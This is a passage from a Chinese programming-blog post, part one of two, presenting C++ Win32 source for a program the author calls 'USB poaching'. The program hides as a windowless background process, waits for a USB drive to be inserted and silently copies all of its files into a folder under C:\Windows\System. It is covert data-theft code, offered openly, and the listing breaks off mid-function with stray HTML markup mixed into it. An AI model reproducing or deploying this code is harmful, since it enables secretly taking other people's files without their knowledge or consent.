设为首页 加入收藏

TOP

USB助手(一)
2018-11-08 14:11:43 】 浏览:259
Tags:USB 助手

自动拷贝U盘的数据---

由于之前学习了win32的编程就想着做一个有趣的东西。想了想准备做一个可以自动复制U盘数据的程序。

对于这个程序的功能首先就是要能够识别U盘是否插入了,这里使用了函数GetLogicalDrives()来进行判断,这个函数会将当前

计算机中的盘符表示出来,然后通过两次的比较来判断U盘是否插入到了计算机中,然后通过copyfile()来全盘复制文件。

为了方便更好的隐藏采用win32编写,但是去掉界面,让程序运行后仅仅在后台进程中可见。


下面是程序的源代码(用VS2017编译):


 

  1 // USB盗猎.cpp : 定义应用程序的入口点。
  2 // 为了让程序可以被其他电脑直接使用,需要在编译时采用静态编译,vs2017默认的是动态编译
  3 // 在调试中选择属性,然后选择C/C++,选择代码生成,选择多线程调试DLL(/MTD)====>即可实现静态编译
  4 
  5 #include "stdafx.h"
  6 #include "USB助手.h"
  7 #include <windows.h>
  8 #include <iostream>
  9 #include <
		    
 
			
an style="color: #0000ff">string> 10 #include <strsafe.h> 11 #include <tchar.h> 12 #define MAX_PATH_ME 256 13 #define SOURCE_PATH TEXT("C:\\Windows\\System\\text1") 14 15 using namespace std; 16 void Traver_File(TCHAR Path[MAX_PATH_ME], TCHAR T_Path[MAX_PATH_ME]); //遍历U盘下的所有文件 17 18 int APIENTRY wWinMain(_In_ HINSTANCE hInstance, 19 _In_opt_ HINSTANCE hPrevInstance, 20 _In_ LPWSTR lpCmdLine, 21 _In_ int nCmdShow) 22 { 23 24 CreateDirectory(SOURCE_PATH, NULL); 25 TCHAR szFile[MAX_PATH_ME] = SOURCE_PATH; 26 TCHAR Path[MAX_PATH_ME] = TEXT(""); 27 TCHAR Drive[26] = { 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','S','Y','Z' }; 28 char i = 0; 29 DWORD Drive_Old = GetLogicalDrives(); 30 while (1) 31 { 32 DWORD Drive_New = GetLogicalDrives(); 33 if (Drive_Old != Drive_New) 34 { 35 Drive_New = Drive_New - Drive_Old; 36 while (1) 37 { 38 if ((Drive_New & 1) != 0) 39 break; 40 Drive_New >>= 1; 41 i++; 42 } 43 break; 44 } 45 } 46 Sleep(10000); 47 Path[0] = Drive[i]; 48 Path[1] = '\0'; //StringCchCat:在使用时需要path最后一位是‘\0’ 49 StringCchCat(Path, MAX_PATH_ME, TEXT(":")); 50 Traver_File(Path, szFile); 51 return 0; 52 } 53 54 void Traver_File(TCHAR Path[MAX_PATH_ME], TCHAR T_Path[MAX_PATH_ME]) 55 { 56 WIN32_FIND_DATAW lpFindFileData; 57 HANDLE hFind = INVALID_HANDLE_VALUE; 58 59 TCHAR szDir[MAX_PATH_ME]; 60 TCHAR szDir1[MAX_PATH_ME] = TEXT(""); 61 TCHAR szDir2[MAX_PATH_ME] = TEXT(""); 62 TCHAR szFile[MAX_PATH_ME] = TEXT(""); //把文件拷贝的源地址 63 64 TCHAR T_szDir[MAX_PATH_ME] = TEXT(""); 65 TCHAR T_szDir2[MAX_PATH_ME] = TEXT(""); 66 TCHAR T_szDir1[MAX_PATH_ME] = TEXT(""); 67 TCHAR T_szFile[MAX_PATH_ME] = TEXT(""); //把文件拷贝的目的地址 68 69 StringCchCopy(T_szDir, MAX_PATH_ME, T_Path); 70 StringCchCopy(T_szDir2, MAX_PATH_ME, T_szDir); 71 72 //获取源文件地址的操作 73 StringCchCopy(szDir, MAX_PATH_ME, Path); 74 StringCchCopy(szDir2, MAX_PATH_ME, szDir); 75 StringCchCat(szDir, MAX_PATH_ME, TEXT("\\*")); 76 hFind = FindFirstFileW(szDir, &lpFindFileData); 77 do 78 { 79 StringCchCopy(szFile, MAX_PATH_ME, szDir2); 80 StringCchCopy(szDir1, MAX_PATH_ME, szDir2); 81 82 StringCchCopy(T_szFile, MAX_PATH_ME, T_szDir); 83 StringCchCopy(T_szDir1, MAX_PATH_ME, T_szDir2); 84 85 if (lpFindFileData.cFileName[0] == '.') 86 { 87 continue; 88 } 89 else if (lpFindFileData.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY) 90 { 91 StringCchCat(szDir1, MAX_PATH_ME, TEXT("\\")); 92 StringCchCat(szDir1, MAX_PATH_ME, lpFindFileData.cFileName); 93 94 StringCchCat(T_szDir1, MAX_PATH_ME, TEXT("\\")); 95 StringCchCat(T_szDir1, MAX_PATH_ME, l
编程开发网
首页 上一页 1 2 下一页 尾页 1/2/2
】【打印繁体】【投稿】【收藏】 【推荐】【举报】【评论】 【关闭】 【返回顶部
上一篇母牛问题(大牛生小牛,小牛生。.. 下一篇C基础 旋转数组查找题目

评论

帐  号: 密码: (新用户注册)
验 证 码:
表  情:
内  容:

array(4) { ["type"]=> int(8) ["message"]=> string(24) "Undefined variable: jobs" ["file"]=> string(32) "/mnt/wp/cppentry/do/bencandy.php" ["line"]=> int(217) }